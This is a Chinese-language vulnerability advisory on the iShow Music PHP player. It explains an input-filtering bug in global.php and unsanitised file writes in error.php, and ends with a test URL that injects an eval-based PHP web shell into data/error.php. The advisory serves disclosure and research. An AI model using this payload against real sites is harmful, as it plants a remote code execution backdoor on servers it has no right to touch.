漏洞描述:

iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。

在error.php 12-26行

PHP代码

  1. elseif ($_POST['action']==“save”){
  2. $cknumon && GdConfirm($gdcode);
  3. if(emptyempty($id)) {
  4. Showmsg(“no”,你还未选择歌曲呢!”,返回重新填写,“javascript:history.back(-1)”); exit;}
  5. elseif(emptyempty($_POST['user'])) {
  6. Showmsg(“no”,你还没写名字呢!”,返回重新填写,“javascript:history.back(-1)”); exit;}
  7. else{
  8. $user=safeconvert($user);
  9. $line=“$user|$songname|$id|$errmsg|$timestamp|\n”;
  10. $e=“$datadir/error.php”;
  11. writetofile($e,$line,“a+”);
  12. Showmsg(“yes”,提交成功,谢谢您的支持!,关闭本页,“javascript:window.close()”);  exit;
  13. }

在global.php 27-34行

PHP代码

  1. foreach($_POST as $_key=>$_value){
  2. $_POST[$_key]=str_replace(array(‘|’,‘$’,‘..’),array
  3. (‘|’,‘$’,‘..’),$_POST[$_key]);
  4. !ereg(“^\_”,$_key) && !$$_key && $$_key=$_POST[$_key];
  5. }
  6. foreach($_GET as $_key=>$_value){
  7. $_GET[$_key]=str_replace(array(‘|’,‘$’,‘..’),array
  8. (‘|’,‘$’,‘..’),$_GET[$_key]);
  9. !ereg(“^\_”,$_key) && !$$_key && $$_key=$_GET[$_key];
  10. }

这段代码是允许在register_globals在off的情况下工作

程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.

导致失去了这段代码本来的作用.

PHP代码

  1. function writetofile($file_name, $data, $method = “w”)
  2. {
  3. $filenum = fopen($file_name, $method);
  4. flock($filenum, LOCK_EX);
  5. $file_data = fwrite($filenum, $data);
  6. fclose($filenum);
  7. return $file_data;
  8. }

这个函数也没有任何过滤就把$data写进去了

<*参考

By qiur3n

http://www.wolvez.org/

*>

测试方法:

[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

http://www.xxx.com/error.php?errid=1&errtitle=<?eval($_POST[wst]);?>

然后提交一下你就能获得一个shell在

http://www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文

件夹改名,呵呵)

From: http://www.hk-blog.cn/?action=show&id=121